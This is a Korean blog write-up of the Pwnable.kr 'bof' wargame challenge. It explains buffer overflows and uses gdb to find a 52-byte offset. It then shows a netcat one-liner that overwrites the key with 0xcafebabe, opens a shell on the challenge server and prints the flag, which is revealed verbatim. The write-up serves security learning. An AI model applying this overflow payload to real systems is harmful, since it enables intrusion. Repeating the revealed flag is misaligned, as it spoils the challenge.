Computer Security

#3 Pwnable.kr : bof 문제풀이 본문

Wargame:Pwnable.kr

#3 Pwnable.kr : bof 문제풀이

쿠리 Kuri 2022. 8. 2. 18:30
반응형

bof


알아야 할 기본 상식!

 

버퍼 오버플로( buffer overflow) 또는 버퍼 오버런(buffer overrun)이란?

  • 메모리를 다루는 데에 오류가 발생하여 잘못된 동작을 하는 프로그램 취약점이다. 
  • 컴퓨터 보안과 프로그래밍에서는 프로세스가 데이터를 버퍼에 저장할 때 프로그래머가 지정한 곳 바깥에 저장하는 것을 의미한다.
  • 벗어난 데이터는 인접 메모리를 덮어 쓰게 되며 이때 다른 데이터가 포함되어 있을 수도 있는데, 손상을 받을 수 있는 데이터는 프로그램 변수와 프로그램 흐름 제어 데이터도 포함된다.
  • 이로 인해 잘못된 프로그램 거동이 나타날 수 있으며, 메모리 접근 오류, 잘못된 결과, 프로그램 종료, 또는 시스템 보안 누설이 발생할 수 있다.
  • 버퍼 오버플로가 코드를 실행시키도록 설계되거나 프로그램 작동을 변경시키도록 설계된 입력에 의해 촉발될 수 있다.
  • 따라서 이는 많은 소프트웨어 취약점의 근간이 되며 악의적으로 이용될 수 있다. 경계 검사로 버퍼 오버플로를 방지할 수 있다.
  • 버퍼 오버플로는 보통 데이터를 저장하는 과정에서 그 데이터를 저장할 메모리 위치가 유효한지를 검사하지 않아 발생한다.
  • 이러한 경우 데이터가 담긴 위치 근처에 있는 값이 손상되고 그 손상이 프로그램 실행에 영향을 미칠 수도 있다.
  • 특히, 악의적인 공격으로 인해 프로그램에 취약점이 발생할 수도 있다.
  • 흔히 버퍼 오버플로와 관련되는 프로그래밍 언어는 C와 C++로, 어떤 영역의 메모리에서도 내장된 데이터 접근 또는 덮어쓰기 보호 기능을 제공하지 않으며 어떤 배열에 기록되는 데이터가 그 배열의 범위 안에 포함되는지 자동으로 검사하지 않는다.

 

보호 대응 수단으로는 프로그래밍 언어 선택, 안전한 라이브러리 사용, 포인터 보호, 버퍼 오버플로 보호, 실행공간 보호 ,  주소 공간 배치 난수화(ASLR) , 심층 패킷 조사 등이 있다!

 


1.일단 sudo -s 를 이용해 루트 관리자 권한을 얻은뒤, ./bof 를 해보니 권한이 없다하여, chmod +x bof 를 이용해 쓸 수 있도록 해준다.

chmod

 

 

 

2. ./bof 를 실행시켜보니, 무언가 쓰라 해서 ddd 아무거나 써봤더니 Nah,, 라는 문장밖에 나오질 않았다.

./bof

 

 

 

3.일단 bof.c 파일을 읽어서 문제를 살펴보자.

vim bof.c

  • 뭐 키안에 0xcafebabe 가 들어가면 /bin/sh를 실행해준다는 듯 싶다.근데,  func()안에 애초에 0xdeadbeef 를 넣기때문에, 원래대로라면 맞을 수가 없다.
  • 따라서, 우리는 오버플로우를 이용해 저 0xdeadbeef 대신 0xcafebabe로 덮어 씌어주는 작업이 필요하다.
  • overflowme 크기는 32바이트 이지만, gets를 이용해 받아 오기 때문에, 32바이트보다 더 크게 입력 가능하다.
  • 우리는 key의 위치가 어디인지 찾아낸뒤, 거기 까지 아무 문자열로 덮어 씌우고  key 위치부터 0xcafebabe를 넣어주면 성공 일 것이다.

 

 

 

4. gdb bof 를 이용해 함수를 분석 해보자.  disass main 함수를 살펴보자.

disass main

살펴보니,  스택에 ebp를 넣어주고(+0), ebp랑 esp를 같게 만들어준뒤(+1) , esp위에 10만큼 공간을 할당 해주고(+6) , func함수를 호출한다.(+16)

 

 

 

5.이번엔 disass func 함수를 살펴보자.

disass func

  • 저 빨간색 동그라미가 중요한데, cmp는 비교하는 명령어고, cafebabe 랑 0x8(%ebp)랑 비교한다고 한다.
  • 그럼 0x8(%ebp)위치를 찾아서 이 값을 cafebabe로 덮어씌우면 될 것 같다.
  • 일단 우리가 대입할 시작주소가 어딘질 찾고, 그 시작주소로부터 저 0x8(%ebp)가 얼마나 떨어져있는지 알아내서, 그 거리만큼 A나 다른 언어로 채워주고, 그뒤에 0xcafebabe를 적어주면 될 듯 하다.
  • 시작주소는 overflowme 주소는 <+29> 부분에 -0x2c 에 있다는걸 확인했다.

 

 

 

6.그럼 시작 주소로부터 키값의 주소가 얼마나 떨어져있는지 파이썬을 통해 알아보자.

python

52만큼 떨어져 있다는걸 알 수 있었다.

 

 

 

7. python 을 이용해 a를 52만큼 채워준뒤, 리틀엔디안 방식으로 0xcafebabe를 입력 해서 nc pwnable.kr 9000에 보내주자.

┌──(root㉿kali)-[/home/kali/Desktop/test1]
└─# (python -c 'print "A"*52 + "\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
ls 
bof 
bof.c 
flag 
log 
log2 
super.pl
cat flag
daddy, I just pwned a buFFer :)

 

 

 

8. cat flag 에서 얻은 키워드인  daddy, I just pwned a buFFer :) 를 사이트에 등록해 확인 해보자!

daddy, I just pwned a buFFer :)

 

 

 

반응형
Comments